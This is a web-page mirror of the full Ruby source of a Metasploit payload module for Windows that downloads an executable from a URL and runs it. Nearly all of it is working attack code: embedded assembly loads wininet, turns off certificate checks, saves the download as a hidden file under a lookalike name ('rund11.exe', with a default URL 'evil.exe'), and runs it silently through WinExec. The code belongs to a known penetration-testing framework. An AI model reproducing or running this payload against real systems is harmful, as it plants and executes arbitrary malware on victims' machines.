Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/download_exec.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 429
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Payload::Windows::BlockApi
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Windows Executable Download (http,https,ftp) and Execute',
17
'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
18
'Author' => [
19
'corelanc0d3r <peter.ve[at]corelan.be>'
20
],
21
'License' => MSF_LICENSE,
22
'Platform' => 'win',
23
'Arch' => ARCH_X86
24
)
25
)
26
27
# Register command execution options
28
register_options(
29
[
30
OptString.new('URL', [true, 'The pre-encoded URL to the executable', 'https://localhost:443/evil.exe']),
31
OptString.new('EXE', [ true, 'Filename to save & run executable on target system', 'rund11.exe' ])
32
]
33
)
34
end
35
36
#
37
# Construct the payload
38
#
39
def generate(_opts = {})
40
target_uri = datastore['URL'] || ''
41
filename = datastore['EXE'] || ''
42
proto = 'https'
43
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
44
# ;0x80000000 | ; INTERNET_FLAG_RELOAD
45
# ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
46
# ;0x00800000 | ; INTERNET_FLAG_SECURE
47
# ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
48
# ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
49
# ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
50
# ;0x00000200 ; INTERNET_FLAG_NO_UI"
51
52
exitfuncs = {
53
'THREAD' => Rex::Text.block_api_hash('kernel32.dll', 'ExitThread').to_i(16), # ExitThread
54
'PROCESS' => Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess').to_i(16), # ExitProcess
55
'SEH' => 0x00000000, # we don't care
56
'NONE' => 0x00000000 # we don't care
57
}
58
59
protoflags = {
60
'http' => 0x3,
61
'https' => 0x3,
62
'ftp' => 0x1
63
}
64
65
exitfunc = datastore['EXITFUNC'].upcase
66
67
if exitfuncs[exitfunc]
68
exitasm = case exitfunc
69
when 'SEH' then "xor eax,eax\ncall eax"
70
when 'NONE' then 'jmp end' # don't want to load user32.dll for GetLastError
71
else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
72
end
73
end
74
75
# parse URL and break it down in
76
# - remote host
77
# - port
78
# - /path/to/file
79
80
server_uri = ''
81
server_host = ''
82
port_nr = 443 # default
83
84
if !target_uri.empty?
85
86
# get desired protocol
87
if target_uri =~ /^http:/
88
proto = 'http'
89
port_nr = 80
90
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
91
# ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
92
end
93
94
if target_uri =~ /^ftp:/
95
proto = 'ftp'
96
port_nr = 21
97
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
98
end
99
100
# sanitize the input
101
target_uri = target_uri.gsub('http://', '') # don't care about protocol
102
target_uri = target_uri.gsub('https://', '') # don't care about protocol
103
target_uri = target_uri.gsub('ftp://', '') # don't care about protocol
104
105
server_info = target_uri.split('/')
106
107
# did user specify a port ?
108
server_parts = server_info[0].split(':')
109
if server_parts.length > 1
110
port_nr = Integer(server_parts[1])
111
end
112
113
# actual target host
114
server_host = server_parts[0]
115
116
# get /path/to/remote/exe
117
118
for i in (1..server_info.length - 1)
119
server_uri << '/'
120
server_uri << server_info[i]
121
end
122
123
end
124
125
# get protocol specific stuff
126
127
# create actual payload
128
payload_data = %^
129
cld
130
call start
131
#{asm_block_api}
132
start:
133
pop ebp ; get ptr to block_api routine
134
; based on HDM's block_reverse_https.asm
135
load_wininet:
136
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
137
push 0x696e6977 ; ...
138
mov esi, esp ; Save a pointer to wininet
139
push esp ; Push a pointer to the "wininet" string on the stack.
140
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" )
141
call ebp ; LoadLibraryA( "wininet" )
142
143
internetopen:
144
xor edi,edi
145
push edi ; DWORD dwFlags
146
push edi ; LPCTSTR lpszProxyBypass
147
push edi ; LPCTSTR lpszProxyName
148
push edi ; DWORD dwAccessType (PRECONFIG = 0)
149
push esi ; LPCTSTR lpszAgent ("wininet\x00")
150
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" )
151
call ebp
152
153
jmp.i8 dbl_get_server_host
154
155
internetconnect:
156
pop ebx ; Save the hostname pointer
157
xor ecx, ecx
158
push ecx ; DWORD_PTR dwContext (NULL)
159
push ecx ; dwFlags
160
push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
161
push ecx ; password
162
push ecx ; username
163
push #{port_nr} ; PORT
164
push ebx ; HOSTNAME
165
push eax ; HINTERNET hInternet
166
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" )
167
call ebp
168
169
jmp.i8 get_server_uri
170
171
httpopenrequest:
172
pop ecx
173
xor edx, edx ; NULL
174
push edx ; dwContext (NULL)
175
#{dwflags_asm} ; dwFlags
176
push edx ; accept types
177
push edx ; referrer
178
push edx ; version
179
push ecx ; url
180
push edx ; method
181
push eax ; hConnection
182
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" )
183
call ebp
184
mov esi, eax ; hHttpRequest
185
186
set_retry:
187
push 0x10
188
pop ebx
189
190
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
191
set_security_options:
192
push 0x00003380
193
mov eax, esp
194
push 4 ; sizeof(dwFlags)
195
push eax ; &dwFlags
196
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
197
push esi ; hRequest
198
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" )
199
call ebp
200
201
httpsendrequest:
202
xor edi, edi
203
push edi ; optional length
204
push edi ; optional
205
push edi ; dwHeadersLength
206
push edi ; headers
207
push esi ; hHttpRequest
208
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" )
209
call ebp
210
test eax,eax
211
jnz create_file
212
213
try_it_again:
214
dec ebx
215
jz thats_all_folks ; failure -> exit
216
jmp.i8 set_security_options
217
218
dbl_get_server_host:
219
jmp get_server_host
220
221
get_server_uri:
222
call httpopenrequest
223
224
server_uri:
225
db "#{server_uri}", 0x00
226
227
create_file:
228
jmp.i8 get_filename
229
230
get_filename_return:
231
xor eax,eax ; zero eax
232
pop edi ; ptr to filename
233
push eax ; hTemplateFile
234
push 2 ; dwFlagsAndAttributes (Hidden)
235
push 2 ; dwCreationDisposition (CREATE_ALWAYS)
236
push eax ; lpSecurityAttributes
237
push 2 ; dwShareMode
238
push 2 ; dwDesiredAccess
239
push edi ; lpFileName
240
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA
241
call ebp
242
243
download_prep:
244
xchg eax, ebx ; place the file handle in ebx
245
xor eax,eax ; zero eax
246
mov ax,0x304 ; we'll download 0x300 bytes at a time
247
sub esp,eax ; reserve space on stack
248
249
download_more:
250
push esp ; &bytesRead
251
lea ecx,[esp+0x8] ; target buffer
252
xor eax,eax
253
mov ah,0x03 ; eax => 300
254
push eax ; read length
255
push ecx ; target buffer on stack
256
push esi ; hRequest
257
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" )
258
call ebp
259
260
test eax,eax ; download failed? (optional?)
261
jz thats_all_folks ; failure -> exit
262
263
pop eax ; how many bytes did we retrieve ?
264
265
test eax,eax ; optional?
266
je close_and_run ; continue until it returns 0
267
268
write_to_file:
269
push 0 ; lpOverLapped
270
push esp ; lpNumberOfBytesWritten
271
push eax ; nNumberOfBytesToWrite
272
lea eax,[esp+0xc] ; get pointer to buffer
273
push eax ; lpBuffer
274
push ebx ; hFile
275
push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile
276
call ebp
277
sub esp,4 ; set stack back to where it was
278
jmp.i8 download_more
279
280
close_and_run:
281
push ebx
282
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle
283
call ebp
284
285
execute_file:
286
push 0 ; don't show
287
push edi ; lpCmdLine
288
push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec
289
call ebp
290
291
thats_all_folks:
292
#{exitasm}
293
294
get_filename:
295
call get_filename_return
296
db "#{filename}",0x00
297
298
get_server_host:
299
call internetconnect
300
301
server_host:
302
db "#{server_host}", 0x00
303
end:
304
^
305
self.assembly = payload_data
306
super
307
end
308
end
309
310